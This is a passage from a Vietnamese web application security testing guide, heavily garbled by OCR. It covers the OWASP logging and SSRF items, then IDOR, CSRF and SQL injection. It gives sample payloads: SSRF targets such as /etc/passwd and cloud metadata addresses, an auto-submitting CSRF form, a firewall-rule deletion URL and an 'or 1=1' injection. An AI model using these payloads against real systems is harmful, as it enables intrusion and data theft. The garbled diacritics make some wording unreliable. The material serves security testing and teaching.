hoat dong vi pham. Néu khong ghi nhat ky va giam sat, cac vi pham khong thé bi phat hién.
Ghi nhat ky, phat hién, giam séat va phan hdi tich cuc khong hiéu qua co thé xay ra bat ky
lUc nao:

Céc su kién c6 thé kiém tra nhu ding nhap, dang nhap that bai va giao dich c6 gié tri
cao nhung khong duoc ghi lai

Céc canh bao va 13i sinh ra nhat ky réng hoac khong day di hodc khong tuong minh.
Nhat ky cua c&c tng dung va API khong dugc gidm sat cac hoat dong dang ngo.
Nhat ky chi duogc Iuu trir cuc bo

Cac ngudng canh béo thich hop va tién trinh phan hoi leo thang khong dugc ap dung
hoac ap dung khoéng hiéu qua

Kiém thir xam nhap va quét bang céc cong cu “Kiém tra bao mat tng dung dong”
(Dynamic application security testing-DAST) khong kich hoat canh bao.

Ung dung khong thé phat hién, leo thang hoac canh bao cac cudc tan cong chu dong
trong thoi gian thyc hoac gan thoi gian thyc.

Viéc khong gisi han, cho phép nhat ky va su kién canh béo c6 thé duoc nhin thay boi
nguoi dung va ké tan cong dan téi 10 hong ro ri thong tin. (Tham khao AO01-Broken Access
Control)

9.2. Phwong phdp ngdan chan

Céc nha phat trién nén trién khai mot s6 hoac tat ca cac bién phap kiém soét sau, tly
thudc vao nguy co cia tng dung:

Pam bao tat ca cac I16i dang nhap, kiém soét truy cap va kiém tra ¢au vao phia may
chu c6 thé duoc ghi lai vai ngir canh nguoi dung du dé xac dinh céc tai khoan dang ngo
hoac doc hai va dugc gitr lai du thoi gian dé dung cho nhitng qua trinh dicu tra so bi tri
hoan.



_bam béo rang nhat ky duoc tao ¢ dinh dang ma céc giai phap quan ly nhat ky c6 thé
de dang sur dung.

Pam bao dir liéu nhat ky dugc ma hoa chinh xac dé ngan chan viéc ké xau tiém hozc
tan cong vao hé thdng ghi nhat ky hoac giam sat.

DPam bao cac giao dich gié tri cao c6 16 trinh kiém tra v4i céc bién phap kiém soat
tinh toan ven dé ngan chan viéc gia mao hoac x6a, chang han nhu bang co so dit liéu chi
thém hoac tuong tu.

Céc nhom DevSecOps nén thiét lap hé théng giam sat va canh bao hiéu qua dé cac
hoat dong dang ngd duoc phat hién kip thoi va phan hoi nhanh chong.

Thiét 1ap hoic thong qua ke hogc g phé va phuc hoi su cd, chang han nhu “Vign
Tiéu chuan va Cong nghé Quoc gia” (National Institute of Standards and Technology-
NIST) 800-61r2 hoac maéi hon.

C6 céc khudn kho bao vé img dung méa nguon mo hogc thuong mai nhu OSWASP
ModSecurity Core Rule Set, va phan mém ghi nhat ky quan h¢ ma nguon m¢ nhu
Elasticsearch, Logstash, Kibana (ELK), c6 trang tong quan va canh bao tuy chinh.

9.3. Cac kich bdn tdn cong

Kich ban 1: Nguoi diéu hanh trang web ciia nha cung cap chuong trinh stc khoe
danh cho tré em khong thé phat hién ra vi pham do thiéu theo di va ghi nhat ky. Mot to
chtrc bén ngoai di thong bao cho nha cung cap chwong trinh sirc khoe rang ké tan cong da
truy cap va sira doi hang nghin hé so siic khoe nhay cam cia hon 3,5 triéu tré em. Mot
danh gia sau su ¢b cho thy rang cac nha phat trién trang web da khong giai quyét cac 16
hong nghiém trong. Vi khong c6 hé théng ghi nhat ky ciing nhu giam sat, vi pham dit liéu
c6 thé da xay ra tir nam 2013, khoan thoi gian hon bay nam.

Kich ban 2: Mot hang hang khong 16n cia An D lién quan téi vi pham dit liéu 1én
t6i mudi nam véi dix lidu ca nhan cua hang triéu khach hang, bao gém ca dix liéu ho chiéu
va thé tin dung. Vi pham dit liéu xay ra tai mot nha cung cap dich vu luu trir ddm may bén
thir ba, nha cung cip nay sau d6 da thong bao cho hing hang sau sau mot khoang thoi gian.

Kich ban 3: Mot hing hang khdng 16n caa chau Au nhan duoc mot bao cdo vi pham
dir liéu. Su vi pham duoc cho 1a do 15 hdng bao mat cua wng dung thanh ton bi khai thac
boi nhitng keé tan cong, ké xau da thu thap hon 400.000 ho so thanh toan cua khach hang.
Cpw quan quan ly quyén riéng tu da phat hdng hang khong 20 triéu ban Anh.

10. A10 - Server-Side Request Forgery (SSRF)

10.1. M6 ta

Sai sot dan toi SSRF xay raqbét ky khi nao tng dung web’tién hanh tim nap tai nguyén
tir xa ma khong c6 hanh dong kiém tra tinh hop I¢ cta “Hé thong dinh vi tai nguyén thong

nhat” (Uniform Resource Locator-URL) do ngudi dung cung cap. Piéu d6 cho phép ké tin
céng ép tng dung web gui mot yéu cau tu tao den mot dieém dich khong mong muon, ngay



ca khi ang dung duoc bao vé boi tuong lira, VPN hoic nhitng loai kiém soat truy cap
(access control list-ACL) mang khéc.

Khi cac ung dung web hién dai ngay cang cung cip cho nguoi ding cudi cac tinh
nang tién loi thi viéc tim nap mot URL dan tré thanh mét tinh hudng phé bién. Vi vay, ty
I¢ gap phai SSRF ngay cang tang cao. Ngoai ra, mirc d6 nghiém trong cua SSRF ngay cang
cao do céc dich vu dam may (cloud services) va su phic tap cua kién trac.

10.2. Phwong phap ngdn chan

Céc nha phét trién (Developers) c6 thé ngan chan SSRF bang cach trién khai mot s6
hoac tat ca cac bién phap quan ly theo ky thuat phong thu chiéu sau (defence in depth) sau:

Tir tang mang (network layer):

Phéan doan chirc ning truy cap tai nguyén tir Xa ra cdc mang riéng biét dé giam tac
dong cua SSRF.

Thuc thi cac chinh sach twdng hira “tir chdi theo mic dinh” hodc cac quy tac kiém soat
truy cap mang de chan tat ca luvu lwong mang trir mang néi bé thict yeu.

Goi y:
- Thiét 1ap quyén sé hiru va vong doi cho cac quy tic tuong lira dya trén cac tng dung

- Ghi nhat ky tat ca cac ludng mang duoc chap thuan va bi chan trén tuong lira (xem
A09: 2021-Security Logging and Monitoring Failures)

- Tur ting wng dung (Application layer)

- Kiém tra va sang loc tat ca dit liéu dau vao do nguoi ding cung cap
- Thue thi lvoc d6 URL, cong va diém dén véi danh sach tring

- Khong giri phan hoi chua qua xir Iy cho may khach

- Tat chuyén huéng HTTP

- Luu y vé tinh nhat quan cia URL dé tranh cac cudc tan cong nhu “DNS rebinding”
va “thoi gian kiém tra, thoi gian sir dung” (TOCTOU) “race conditions”

- Khdng giam thiéu SSRF thdng qua viéc sir dung danh séch tir chéi hoac biéu thuc
chinh quy (regular expression). Ké tan cong c6 danh sdch mé khai thac, cong cu va ki nang
dé vuot qua danh séach tur choi.

Cac bién phap bé sung c6 thé xem xét:

Khong trién khai cac dich vu lién quan dén bao mat khac trén cac hé théng bén ngoai
(vi du: OpenID). Kiém soat luu lugng cuc bo trén cac hé thong nay (vi du: localhost).

Péi vai giao dién nguoi diing véi cac nhém ngudi ding chuyén dung va ¢ thé quan
ly thi str dung mé hoa mang (vi du VPNS) trén cac hé thong doc lap dé xem xet nhu cau
bao vé rat cao.



10.3. Céc kich ban tdn cong

Kich ban 1: Quét cong cac may chu noi bo - Néu kién tric mang khong duoc phan
doan, ké tan cong co thé vach ra cac mang noi bo va xac dinh xem cac cong dang md hay
dong trén cac may chi ndi b tir két qua khi tién hanh két ndi hoic thoi gian da troi qua dé
chap nhan hoic tir chdi cac két ndi chira ma khai thac SSRF.

Kich ban 2: Dir ligu nhay cam bj phoi bay - Ké tan cdng c6 the truy cp téi tép tin
cuc bd hoac dich vu noi bo dé lay théng tin nhay cam nhu tép file:///etc/paswd va
http://localhost:28017/.

Kich ban 3: Truy cap kho luu trit siéu dit liéu caa céc dich vy dam may — Hau hét
cac nha cung cap dich vu dam may déu co6 kho luu trit dir liéu nhu http://169.254.169.254/.
K¢ tan cong cd thé doc siéu dix liéu dé 1y théng tin nhay cam.

Kich ban 4: Chi phdi céc dich vu néi bo - ké tan cong cé thé lam dung céc dich vu
noi bo dé tién hanh cac cudc tan cong tiép theo nhu “Thuc thi ma tir xa” (Remote Code
Execution-RCE) hozdc “Tur chéi dich vy (Denial of Service-DoS).
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PHU LUC 2: THONG TIN THAM KHAO CHI TIET MOT SO LO HONG
THUONG GAP

1. Insecure Direct Object References (IDOR)
1.1. TOm tat

Insecure Direct Object References xay ra khi m¢t tng dung cung cap truy cap truc
tiép t6i cac ddi twong dya trén dau vao do nguoi dung cung cap. Két qua 1a nhitng keé tan
cdng vao 15 hong nay c6 thé bo qua viéc uy quyén va truy cap cac tai nguyén truc tiép vao
hé thdng, vi du nhu ho so co sé dit liéu hoidc cac tép tin.

Insecure Direct Object References cho phép ké tan cong bo qua uy quyén va truy cap
tai nguyén tryc tiép bang cach stra doi gia tri cia mot tham sé duoc st dung dé truc tiép
tro t6i mot doi twong. Céc tai nguyén nhu vay c6 thé 12 gia tj &nh xa dén co so dit liéu thudc
vé nguoi diing khéc, tép trong hé thong. ... Dieu nay dan dén thuc té Ia (g dung cho nguoi
duing cung Cap dau vao va sir dung no dé lay mot déi twong ma khong thuc hién kiém tra
y quyén day du.

1.2. C4c cach kiém tha

Pé kiém tra 15 hong nay, ngudoi Kiém thir dau tién can phai liet ké tat ca cac vi tri trong
g dung, noi dau vao caa nguoi dung thudng sir dung reference objects truc tiép. Vi du:
vi tri noi dau vao cua ngudi dung duoc st dung dé truy cap hang co so dir liéu, tép, trang
ng dung .... Tiép theo, nguoi kiém thir nén sira doi gia tri cua tham sé duoc sir dung dé
reference objects va danh gia liéu c6 thé lay cac ddi tuong thudc vé ngudi ding khéc hoic
bo qua su uy quyén.

Céch t6t nhat dé kiém tra cac tham chiéu d6i twong tryc tiép 1a co it nhat hai nguoi
dung (thuong 1a nhiéu hon) dé bao dam ddi twgng va chure nang s¢ hiru khac nhau. Vi du:
hai nguoi ding c6 quyén truy cap vao cac déi tugng khac nhau (chang han nhu thong tin
mua hang, tin nhan c& nhan, v.v.) va (néu cd) nhitng ngudi dung c6 cac dac quyén khéc
nhau (vi du ngudi quan tri) dé xem c6 cac tham chiéu truc tlep dén chuc nang ang dung
hay khéng. Bang cach c6 nhiéu nguoi ding, ngudi kiém tra tiét kiém thoi gian thir nghiém
c6 gia tri trong viéc doan cac tén d6i twong khac nhau vi anh ta c6 thé truy cap cac doi
tugng thudc vé ngudi dung khac.

Duéi day 1a mot s6 kich ban dién hinh cho 16 hong nay va cac phuong phap dé kiém
tra cho moi loai:

Gié trj ciia mét tham sé dueoc sik dung truc tiép dé ldy ra mét ban ghi co sé di liéu
Request mau:

http://foo.bar/somepage?invoice=12345



Trong trudng hop nay, gia tri cua tham sb invoice dugc sir dung nhu mét chi myc
trong mot bang invoice trong co so dit liéu. Ung dung lay gia tri cua tham sé nay va st
dung nd trong mot truy van téi co sé di liéu. Ung dung sau d6 tra lai thdng tin invoice cho
ngudi dung.

Vi gi4 tri caa invoice di truc tiép vao truy van, bang cach sira doi gia tri caa tham sb,
c6 thé Iy ra bat ky d6i twong invoice ndo, bat ké ngudi sir dung invoice do 1 ai. Dé kiém
tra truong hop nay, ngudi kiém tra sé nhan dugc ma nhan di¢n cua mot invoice thuoc mot
ngudi sir dung thtr nghiém khac (dam bao rang anh ta khong phai xem thong tin nay trong
logic kinh doanh tng dung) va sau d6 kiém tra xem c6 thé truy cap cac ddi twong ma khdng
c6 su cho phép hay khéng.

Gié trj cua tham sé duwoc sir dung truec tiép dé thuc hién mét thao tac trong hé thong
Request mau:

http://foo.bar/changepassword?user=someuser

Trong truong hop nay, gia tri cua tham sb user duoc sir dung dé ndi véi tng dung
cho nguoi ding nao nén thay d6i mat khau. Trong nhiéu trudng hop budc nay sé la mot
phan cua trinh hudng dan, hoic mot thao tac nhiéu bude. Trong budc dau tién, tng dung
s& nhan duoc yéu cau xac dinh mat khau cia ngudoi ding nao sé dugc thay doi, va trong
budc tiép theo, ngudi ding s& cung cap mat khau méi (khdng yéu cau mat khau hién tai).

Tham s6 user duoc st dung dé tryuc tiép tham chiéu dbi twong ngudi dung sé thuc
hién thao tac thay doi mat khau. Dé kiém tra trudng hop nay, ngudi kiém tra nén cb gang
cung cap tén nguoi dung thir khac vai mat khau hién dang ding nhap va kiém tra xem c6
thé sira d6i mat khau cua ngudi dung khac hay khong.

Gia trj ciia mét tham sé dieoc si dung truec tiép dé ldy ra mét tai nguyén hé thong tdp tin
Request mau:

http://foo.bar/showlmage?img=img00011

Trong trudng hop nay, gia tri cua tham s6 file dugc su dung dé cho ung dung biét tép
ngudi dung mudn truy xuat. Bang cach cung cap tén hoic s6 nhan dang cua mot tép tin
khéc (vi du tép = image00012.jpg), ké tin cdng s& cd thé truy xuat cac ddi twong thudc cac
nguoi dung Khac.

Gié trj ciia mét tham sé duwoc sir dung truc tiép dé truy cdap chite nang img dung
Request mau:

http://foo.bar/accessPage?menuitem=12



Trong truong hop nay, gié tri ciia tham s6 menuitem duoc sir dung dé n6i cho ang
dung rang menu item (va do dé chtrc nang ung dung) ma nguoi dung dang c¢d gang truy
cap. Gia su nguoi dung bi han ché quyén va do d6 co chi 6 thé truy cap menu items 1, 2
va 3. Bang céch sira doi gia tri ciia tham sé menuitem, cd thé bo qua ay quyén va truy cap
cac chue nang wng dung bd sung. Dé kiém tra truong hop nay, nguoi kiém thir xac dinh vi
tri noi chirc ning cua ¢ng dung duoc xac dinh bang cach tham chiéu dén mot menu item,
&nh xa C&c gia tri ciia cac menu item ma nguoi dung thir c6 thé truy cap va sau do6 thir cac
menu item Khéc.

Trong cac vi du trén, stra d6i cua mot tham sé don 1 di. Tuy nhién, d6i khi tham
chiéu doi tugng cé thé dugc phén chia gita nhiéu tham s6 va su kiém thir can dugc dieu
chinh twong Gng.

Tai liéu tham khao thém:

https://cheatsheetseries.owasp.org/cheatsheets/Insecure_Direct_Object _Reference
Prevention_Cheat_Sheet.html

2. Cross-Site Request Forgery (CSRF)
2.1. Tom tat

CSRF la mot tan cong khién nguoi dung cudi phai thuc hién nhitng hanh dong khong
mong mudn trén mét tng dung web ma hién tai anh ta da xac thuc. Vi mot chit tro gidp
vé k¥ thuat x4 hoi (nhu giri lién két qua email hoic tro chuyén), ké tan cong c6 thé budc
nguoi dung tng dung web phai thuc hién hanh dong theo lua chon cia ho. Khai thac thanh
cdng CSRF ¢ thé chiém dix lidu va thyc hién hoat dong véi nguoi dung cudi. Néu nguoi
ding cudi nham muc tiéu 14 tai khoan quan tri vién, mot cudc tan cong CSRF ¢6 thé chiém
lay toan bo tng dung web.

CSRF dya vao nhirng diéu sau:

a. Hanh vi trinh duyét web lién quan dén viéc xt 1y cac thong tin lién quan dén phién
nhu cookie va thong tin xac thuc http

b. Kién thirc cua ké tan céng vé URL @ng dung web hop 1é

c. Quan ly phién &ng dung chi dua trén thong tin duoc biét bai trinh duyét

d. Su ton tai ciia cac thée HTML c6 thé gay ra kha nang ngay 1ap tirc truy cap vao mot
tai nguyén http[s]; vi du nhu thé hinh anh img

Piém a, b, va c 1a diéu can thiét cho su ton tai cua 16 hong, trong khi diém d tao diéu
kién cho viéc khai thac thuc té, nhung khong bat budc.

biém a) Trinh duyét ty dong gui thong tin duoc sir dung dé xac dinh phién nguoi
dung. Gia st trang web la mot trang web luu trir tng dung web, va nan nhan ngui st dung

vira ching thuc truy cép vao trang web. Pé phan hdi, trang web s& guri cho nan nhan mot
cookie x4c dinh y8u cau cua nan nhin dé nan nhan xac thuc. V& co ban, khi trinh duyét



nhan cookie dugc dit theo trang web, nd sé& tu dong giri di cung véi bat ky yéu cau nao
khac dugc hudng téi trang web.

Piém b) Neu ing dung khong sir dung thong tin lién quan dén URL thi URL cua tng
dung, cac tham sé va gia tri hop phap cua ching cé thé duoc xdc dinh (bang phan tich ma
hoac bang céch truy cap vao tng dung va luu ¥ cac biéu mau va cac URL duoc nhing
trong HTML/JavaScript).

Piém c) "Puoc biét boi trinh duyét" dé cap dén thdng tin nhu cookie hoic thdng tin
xéc thuc dya trén http (nhu Xac thuc co ban va khong xac thuc dua trén biéu mau), dugc
Iwru trit boi trinh duyét va sau d6 c6 kém theo trong mdi yéu cau giri téi mot ving tng dung
yéu cau chang thuc Cac 16 hong duoc thao luan tiép theo ap dung cho cac ung dung dya
hoan toan vao loai thong tin nay dé xac dinh phién ngudoi ding.

Gia str, dé don gian hoa budc bat tay, co thé tham khao cac URL c6 thé truy cap GET.
Néu nan nhan da thuc hién xac thuc, ké tin cong co thé giri mot yéu cau khac khién cookie
dugc ty dong gui di (xem hinh anh ngudi dung truy cap vao mot wng dung trén
www.example.com).

Yéu cau GET c¢6 thé ¢é duwoc tao ra bang nhiéu cach khac nhau:

- B&i nguoi sir dung, nhitg ngudi dang str dung cac tng dung web thyc té;

- Boi nguoi dung, ngudi gd truc tiép URL vao trinh duyét;

- Boi nguoi ding, nguoi di theo mot lién két (bén ngoai tng dung) chi vao URL.

Nhitng truy van nay khdng thé phan biét duoc bai tng dung. Dac biét, phuong phap
thir ba c6 thé kha nguy hiém. C6 mot sé ky thuat (va cac 16 hdng) c6 thé nguy trang cac
thugc tinh thuc su cia mot lién két. Lién két cd thé duoc nhing trong email hoic xuat hién
trong mot trang web doc hai ma nguoi ding bi danh lira tré vao, lién két xuat hién trong
noi dung dugc luu trit ¢ noi khac (trang web khac, email HTML, ...) va chi toi mot tai
nguyén cua tng dung. Néu ngudi ding nhap vao lién két, vi né di duoc xéac thuc bai (ng
dung web trén trang web, trinh duyét s& gui di yéu cau GET tgi tng dung web, kém theo
thdng tin x4c thuc (cookie phién). Diéu nay dan dén hoat dong hop I¢ dugc thyc hién trén
rng dung web va gay ra nhirng hanh dong ma nguoi dung mong mubn xay ra. Hay suy
nghi vé mot lién két doc hai co thé gay ra mot khoan chuyén tién trén mot tng dung ngan
hang truc tuyén.

Bang céach sir dung maot thé nhu img, nhu di néu ¢ diém d) ¢ trén, tham chi khdng
can thiét nguoi ding tré vao mot lién két cu thé. Gia sir ké tan cdng giri cho nguoi ding
mét email thic giuc anh ta truy cap vao mot URL dé cap dén mét trang c6 chira ma HTML
(gian lugc) sau day:

<htmI><body>

<img src="https://www.company.example/action” width="0" height="0">


http://www.example.com/

</body></htm|>

Khi hien thi trang trinh duyét s& ¢6 gang hién thj ca nhiing hinh anh c6 chiéu rong
bang 0 (vi du, vo hinh). Diéu nay dan dén yéu cau dugc tu dong giri dén tng dung web
duoc luu trit trén trang web. Diéu quan trong 1a URL hinh anh khong dé cap dén mot hinh
anh thich hop, su hién dién caa né sé& kich hoat yéu cau duoc xac dinh trong truong src.
Diéu nay xay ra véi diéu kién 1a tinh ning tai hinh anh khéng bi vé hiéu trong cac trinh
duyét, day 1a mot cdu hinh dién hinh vi viéc vo hiéu hoa céc hinh anh sé& 1am té liét hau hét
cac ung dung web.

Van dé ¢ day la hau qua cia nhirng sw kién sau:

- C6 céc thé HTML xuat hién trong mét trang dan dén viéc thyuc hién yéu cau http tu
dong (img la mét trong nhirng trang d6);

- Trinh duyét khdng ¢6 céch nao cho thay rang tai nguyén duoc tham chiéu bai img
khéng thuc su 1a mot hinh anh va trén thuc té khéng hop phéap;

- Tai hinh anh xay ra bat ké vi tri caa hinh anh, tac 13, biéu mau va chinh hinh anh
khdng can phai nam trong cling mot may chu lwu trit, ngay ca trong cling mot t&n mién.
Mic du day 1a mot tinh nang rat tién dung, né khién cho viéc phan chia cac ang dung kho
khan hon.

Thuec té 12 noi dung HTML khéng lién quan dén viéc tng dung web cd thé tham chiéu
cac thanh phan trong tng dung va thuc té 12 trinh duyét tu dong tao ra mot yéu cau hop 1¢
dbi véi tng dung, cho phép loai tin cong nhu vay. Vi khong c6 chuan nao duoc dinh nghia
hién tai, nén khong c6 cach nao dé ngan chan hanh vi nay trir khi ké tin cong khong thé
xéc dinh cac URL @ng dung hop 1&. Piéu nay c6 nghia 1a cac URL hop Ié phai chira théng
tin lién quan dén phién ngudi dung, duoc cho 1 khong duoc biét dén d6i voi ké tan cong
va do d6 1am cho viéc xac dinh cac URL nhu vay la khong thé.

Van dé c6 thé con t6i té hon, vi trong cac mdi trudng tich hop mail/trinh duyét don
gian chi hién thi mot email c6 chira hinh anh sé€ dan dén viéc thuc hién yéu cau tng dung
web vai cookie cua trinh duyét lién quan.

Kich ban mau

Gia sir rang nan nhan ding nhap duoc vao mot ung dung quan 1y web tuong lira. Dé
dang nhap, nguoi dung phai thyc hién xac thuc va thong tin phién dugc luu trir trong mot
cookie.

Gia su ing dung quan ly web tuong lira c6 mot chire nang cho phép ngudi ding xac
thuc x6a mot quy tic duoc xac dinh bai sé vi tri cua nd, hoic tit ca cac quy tic cua ciu
hinh néu ngudi dung nhap '*' (tinh nang kha nguy hlem nhung né s€ lam cho vi du thd vi
hon). Trang x6a s€ dugc hién thi tiép theo. Gia st rang biéu miu — dé cho don gian — sir
dung yéu cau GET, sé c0 dang



https://[target]/fwmgt/delete?rule=1
(dé x06a sb quy tic s6 mot)
https://[target]/fwmgt/delete?rule=*

(dé x0a tat ca cac quy tac).
Vi du c6 thé cho thay mot cach don gian su nguy hiém cua CSRF.

) Firewall Management - Mozilla Firefox -0 x|
Fle Edt Vew Go Bookmarks Tooks Help e

QE] v C> h @ @ @ I https:{fwww,company .exampleffwmat/delete j © 6o IK:],

Enter rule to delete, or * to delete all rules: I"
Delete |

Do d6, néu ching ta nhap gié tri *' va nhan nit Delete, yéu cau GET sau day s& dugc
giri di.

https://www.company.example/fwmat/delete?rule=*

véi kha ning x6a tat ca cac quy tic twong lra (va két thac).

I Firewall Management - Mozilla Firefox 1ol =l

File Edit Wiew Go Bookmarks Tools  Help o

@I - |:> - @ @ @ I hiktps: | e, companey, example/framgt/deletetrule="* j @ G0 I@,

You have successfully deleted all firewall rules

Continue |

Day khong phai la kich ban duy nhat. Ngudi diing ¢6 thé da hoan thanh cac két qua
tuong tu bang cach gui theo cach thu cong URL.


https://www.company.example/fwmgt/delete?rule=*

https://[target]/fwmgt/delete?rule=*

Trong tat ca cac trudng hop nay, néu ngudi ding hién dang dang nhap vao tng dung
quan 1y tuong lira, yéu cau sé& thanh cong va s& sira dbi ciu hinh cua tuong lia. C6 thé
tudng twong Cac cudc tan cong vao cac tng dung nhay cam va dit gia thau tu dong, chuyén
tién, ddt hang, thay doi cAu hinh cac thanh phan phan mém quan trong, v.v ...

Mot diéu tha vi la cac 16 hdng nay c6 thé dugc thuc hién ding sau twong hira; tic 1,
du dé lién két bi tAn cong cd thé truy cap duoc bai nan nhan (khdng truc tiép bai ké tan
cong). Pic biét, nd cd thé 1a bat ky may cha web Intranet; vi dy, cac tram quan ly tudng
lra d4 dé cap trude d6, ma khong c6 kha nang duoc tiép xUc véi Internet. Hay tudng tuong
mét cudc tan cong CSRF nhiam vao mot ng dung gidm sat mot nha may dién hat nhan.

Céc ung dung chtra 16 hong ¢ chu dich, vi du: cac ung dung duoc sir dung nhu 1a
vector tn c6ng va muc tiéu (nhu cac ung dung web mail), lam cho moi thi tro nén toi té
hon. Néu &ing dung d6 dé bi tan cong, va néu ngudi dung da dang nhap khi doc tin nhan c6
chtra m3 khai thac tin cong CSRF do, co thé nhiam muc tl,eu ung dung web mail va thuc
hién cac hanh dong nhu x6a céc tin nhan, gui tin nhan xuat hién nhu duoc gui bdi nguoi
dung, v.v...

2.2. Kiém tra nhw thé nao

Kiém tra cac tng dung dé xac dinh néu quan ly phién caa n6 1 thiéu an toan. Néu
quan ly phién chi dua vao cac gia tri tir phia may khach (théng tin co san tir trinh duyét),
thi ang dung do la c6 chira [6 hong. "Client side values" c6 nghia la cookie va chirng chi
xac thuc HTTP (X&c thuc co ban va céc hinh thirc xac thuc HTTP khéac, khéng phai la xac
thyc dya trén bieu mau, ma la chung thuc cap ung dung). Doi véi mot ung dung an toan,
thong tin trong URL, s€ ¢ hinh thirc khong xac dinh duoc hoac khéng thé dy doan duoc
boi ngudi stir dung.

C4c tai nguyén co thé truy cap thong qua yéu cau HTTP GET thuong dé bj tan cong,
cac yéu cau POST c¢6 the dugc tu dong hod qua Javascript va ciing de bi tan cong; do do,
viéc str dung POST mot minh 1a khong du dé khac phuc su xuat hién caa cac 16 hong CSRF.

Trong trudng hop POST, ¢d thé st dung mau sau.

Buwéc 1: Tao mot HTML nhu duéi day

Buwéc 2: Cap nhat HTML sang trang doc hai

Bwéc 3: Gui lién két http://maliciousSite/CSRF.html cho nan nhan nhap vao no.

<html>
<body onload="document.CSRF.submit()'>




<form action="http://tagetWebsite/Authenticate.jsp' method="POST' name='"CSRF'>
<input type="hidden' name="name' value="Hacked">
<input type='hidden' name="password' value="Hacked'>

</form>

</body>
</html>

Tai liéu tham khao thém:
https://cheatsheetseries.owasp.org/cheatsheets/CrossSiteRequestForgeryPreventionCheat_Sheet.html

3. SQL Injection
3.1. TOm tat

Tan c6ng SQL injection bao gém viéc chén hodc "tiém" mot phan hoic toan bo truy
van SQL thong qua viéc nhap dir liéu hodc truyén tir client sang img dung web. Mot cudc
tan cong SQL injection thanh cong ¢ thé doc dif liéu nhay cam tir co so dit lidu, sira d6i dir
liéu trong co so dir liéu (chén/cap nhét/xod), thyc hién cac hoat dong quan tri trén co so dir
lidu (nhu tat DBMS), phuc ho6i ndi dung ciia mot tap tin dé c6 trén hé thong DBMS hoic viét
cac tap tin vao h¢ thong tap tin, va, trong mot s6 trudng hop, ra 1énh cho hé diéu hanh. Cac
cudc tan cong SQL injection 1a mot kiéu tin cong chén, trong d6 cac 1énh SQL duoc chén
vao dau vao dit liéu gay anh huong dén viée thuc hién cac 1énh SQL dugc xac dinh trudc.
Noi chung, cach cac img dung web xay dung cac cau lénh SQL s€ bao gom cu phap SQL
duoc 1ap trinh bai nguoi phat trién két hop véi dir liéu nguoi ding cung cap. Vi du:

select title, text from news where id=$id

Trong vi du trén, bién $id chta dir liéu nguoi ding cung cap, trong khi phan con lai
la phan SQL tinh dwgc cung cip bai lap trinh vién; 1am cho cau lénh SQL déng.
Bai vi cach no duoc xay dung, ngudi ding 6 thé cung cap dau vao thi cong khién cho cac
lénh SQL ban dau thuc hién cac hanh dong tiép theo theo y muén cua ngudi ding. Vi du
dudi day minh hoa dir liéu do ngudi ding cung cap "10 or 1=1", thay d6i logic cua cau
lénh SQL, sira doi ménh d& WHERE thém mét diéu kién "or 1=1".

select title, text from news where i1d=10 or 1=1

T4n cdng SQL Injection c6 thé dwec chia thanh ba loai sau:


https://www.google.com/url?q=https%3A%2F%2Fwww.owasp.org%2Findex.php%2FSQL_injection&sa=D&sntz=1&usg=AFQjCNE5gEdI4ZGQv7i2ApOrKZt7jpn2Hw

- Inband: dit ligu duoc trich xuat bang cach st dung cing mot kénh duoc st dung dé
chén ma SQL. Pay la kiéu tan cong don gian nhat, trong dé dit liéu da tai vé duoc hién thi
truc tiep trén trang web cta tng dung.

- Out-of-band: dit liéu duoc 14y ra bang cach st dung mot kénh khéc (vi du, mot email
cé ket qua truy van duoc tao ra va gui dén ngudi kiém tra).

- Inferential hogc Blind: khong ¢ dit li¢u thyc sy chuyén tai, nhung nguoi kiém tra
cé thé tai tao lai thong tin bang cach gui yéu cau cu thé va quan sat hanh vi két qua cua DB
Server.

Mot cudc tin cong SQL Injection thanh cong doi hoi ke tn cong phai tao ra mot truy
van SQL ding ca phap. Néu ung dung tra vé thong bao 16i dugce tao ra boi mot truy van
khong chinh xac, thi c6 thé dé dang hon cho ké tin cong dé tai tao lai logic cua truy Van
ban dau va do d6, hiéu cach thyc hién viéc chén dung cach. Tuy nhién, néu ing dung a an
chi tiét 151, thi nguoi kiém tra phai c6 kha ning dao nguoc logic cia truy van ban dau.
Vé céac ky thuat khai thac 16 hong SQL injection, c¢6 nam ky thuat chung. Ngoai ra nhiing
k¥ thuat nay doi khi c6 thé duoc st dung theo cach két hop (vi du union operator va out-
of-band):

- Union Operator: ¢6 thé dwoc sir dung khi 16 hong SQL injection xay ra trong mot
cau Iénh SELECT, lam cho n6 cé thé két hop hai truy van vao mot két qua hoac tap ket
qua.

- Boolean: sir dung diéu kién Boolean dé xac minh xem cac diéu kién nhat dinh dung
hay sai.

- Dya trén 15i: k¥ thuat nay budc co so dit lidu tao ra 15i, cung cap cho cac ké tin cong
hoac nguoi kiém tra thong tin trén d6 dé tinh chinh viéc chén cua ho.

- Out-of-band: k¥ thuat duoc sir dung dé lay dix liéu bang céch str dung mot kénh khac
(vi du: tao mot két noi HTTP dé guri két qua dén mot may chu web).

- Thoi gian tré: sir dung lénh co so dir liéu (vi du nhu sleep) dé tri hodn céc cau tra
|6 trong cac truy van c6 dicu kién. No hitu ich khi ke tan cong thieu mét so cau tra loi (ket
qua, dau ra, hoac loi) tir tng dung.

3.2. Pdnh gid nhw thé nao

3.2.1. Ky thudt phat hié¢n

Budc dau tién trong bai kiém tra nay 1a Qé hiéu cach tng dung tuong tac véi mot may
chu DB d¢ truy cap mot s6 dir liéu. Vi du dién hinh la cac truong hop khi mét ing dung
can giao tiep vai mot DB bao gom:

- Cac mau xac thyc: khi xéac thuc duoc thuc hién bang mot biéu mau web, rat cé thé
la cac thdng tin nguoi dung dugc Kiém tra doi véi co s¢ dit liéu co chira ca tén nguoi dung
va mat khau (hodc, tot hon la chira mat khau bam).

- Céc cong cu tim kiém: chudi do ngudi sir dung dua ra ¢6 thé duoc sir dung trong
mot truy van SQL sé trich tat ca cac ban ghi c6 lién quan tir co s¢ dir liéu.



- Céc trang thuong mai dién tu: cac san pham va dic diém cua ching (gia, mo ta, tinh
kha dung, vv) rat co thé s& dugc luu trit trong co sé dit liéu.

Nguoi kiém tra phai tao mot danh sach tat Ca cac truong dau vao c6 gia tri co thé
duoc st dung trong viéc tao ra truy van SQL, bao gom cac trudng 4n cua cac yéu cau POST
va sau d6 kiém tra ching mot cach riéng biét, c6 gang can thiép vao truy van va tao ra I3i.
Ciing nén Xem x¢ét tiéu d& HTTP va Cookies.

Thur nghiém déu tién thuong bao gom viéc thém mot dau nhay don (') hoac dau cham
phay (;) vao truong hogc tham s6 duoc thir. Dau dau tién duoc sir dung trong SQL nhu la
mot dau ngét chudi va, néu khong duoc loc boi cac tng dung, s& dan dén mot truy van
